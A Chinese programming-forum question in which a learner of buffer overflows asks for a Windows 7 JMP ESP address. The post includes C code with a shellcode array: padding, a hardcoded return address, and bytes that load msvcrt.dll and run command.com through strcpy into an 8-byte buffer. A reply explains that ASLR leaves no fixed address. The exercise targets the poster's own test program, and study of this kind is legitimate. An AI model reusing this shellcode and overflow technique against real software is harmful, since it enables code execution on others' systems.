问下windows7下的JMP ESP 指令的地址是多少?
最近学习缓冲区溢出,写了好几个都不能正常执行,后来跟踪进去看了下, 执行到 我填的那个JMP ESP地址就不能读了,估摸是这个指令地址有问题,求各位大侠告知下,在网上也搜了好多JMP ESP地址 在w7下都不顶用。。。。。。。。。。。
另外也请各位帮我看看是不是代码错了。。
#include
#include
#include
char ShellCode[]=
"\x41\x41\x41\x41"
"\x41\x41\x41\x41"
"\x41\x41\x41\x41"
"\x12\x45\xfa\x7f" //0x7ffa4512,win7可用 JMP ESP 地址
"\x55"
"\x8b\xec"
"\x33\xff"
"\x57"
"\x83\xec\x08"
"\xc6\x45\xf4\x6d"
"\xc6\x45\xf5\x73"
"\xc6\x45\xf6\x76"
"\xc6\x45\xf7\x63"
"\xc6\x45\xf8\x72"
"\xc6\x45\xf9\x74"
"\xc6\x45\xfa\x2e"
"\xc6\x45\xfb\x64"
"\xc6\x45\xfc\x6c"
"\xc6\x45\xfd\x6c"
"\x8d\x45\xf4"
"\x50"
"\xb8\x84\x28\x63\x77"
"\xff\xd0"
"\xc6\x45\xf4\x63"
"\xc6\x45\xf5\x6f"
"\xc6\x45\xf6\x6d"
"\xc6\x45\xf7\x6d"
"\xc6\x45\xf8\x61"
"\xc6\x45\xf9\x6e"
"\xc6\x45\xfa\x64"
"\xc6\x45\xfb\x2e"
"\xc6\x45\xfc\x63"
"\xc6\x45\xfd\x6f"
"\xc6\x45\xfe\x6d"
"\x8d\x45\xf4"
"\x50"
"\xb8\x6f\xb1\x75\x76"
"\xff\xd0";
int main()
{
char over[8];
char *p=ShellCode;
printf("%x",p);
strcpy(over,ShellCode);
for(int i=0;i<8&&over[i];i++)
{
printf("\\0x%x",over[i]);
}
return 0;
}
------解决思路----------------------
WIN7以后, 几个核心dll都是浮动地址加载的, 没有统一的JMP ESP地址. 你到你要溢出的程序里找个合适的地址呗...